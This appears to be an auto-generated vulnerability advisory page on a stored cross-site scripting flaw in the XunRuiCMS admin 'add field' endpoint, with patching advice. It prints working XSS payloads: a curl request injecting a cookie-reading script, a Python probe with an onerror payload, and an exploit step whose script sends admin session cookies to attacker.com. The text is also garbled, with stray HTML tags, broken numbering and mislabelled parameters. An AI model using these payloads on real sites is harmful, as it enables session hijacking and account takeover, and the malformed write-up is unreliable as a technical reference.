Listen to this Post
How the CVE Works:
The vulnerability is a Stored Cross-Site Scripting (XSS) flaw within the XunRuiCMS administrative interface. The affected endpoint `/admind45f74adbd95.php?c=field&m=add` is part of the “Add Display Name Field” functionality for managing site fields. The `data
` parameter fails to properly sanitize user-supplied input before storing it in the database. An authenticated attacker with admin-level privileges (PR:H) can submit a crafted field name containing arbitrary JavaScript payloads. When an administrator later views the list of custom fields in the backend, the malicious script is rendered and executed in their browser context. This allows for session hijacking, credential theft, or administrative actions performed under the victim's identity, despite the need for user interaction (UI:P). <h2 style="color: blue;">DailyCVE Form:</h2> Platform: XunRuiCMS Version: up to 4.7.1 Vulnerability: Stored XSS Severity: Medium date: 2025-12-04 <h2 style="color: blue;">Prediction: Patch by 2025-12-18</h2> <h2 style="color: blue;">What Undercode Say:</h2> <h2 style="color: blue;">Analytics:</h2> [bash] curl -i "https://target.com/admind45f74adbd95.php?c=field&m=add&rname=site&rid=1" --data "data[bash]=<script>alert(document.cookie)</script>"
Check for vulnerable parameter
import requests
params = {'c':'field','m':'add','rname':'site','rid':1}
data = {'data[bash]': '<img src=x onerror=confirm(1)>'}
r = requests.post(target_url, params=params, data=data)
if r.status_code == 200:
print("Endpoint likely vulnerable")
How Exploit:
1. Attacker logs into admin panel.
2. Navigates to field creation: `/admind45f74adbd95.php?c=field&m=add&rname=site&rid=1`.
- Submits a new field with a malicious name:
data[bash]=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
4. Payload is stored in the database.
- When any admin views the field list, the script executes, sending session cookies to the attacker.
Protection from this CVE:
1. Apply vendor patch.
2. Implement strict input validation.
3. Encode output (HTML escaping).
4. Use Content Security Policy (CSP).
Impact:
Admin account compromise.
Website defacement.
Data theft.
Privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
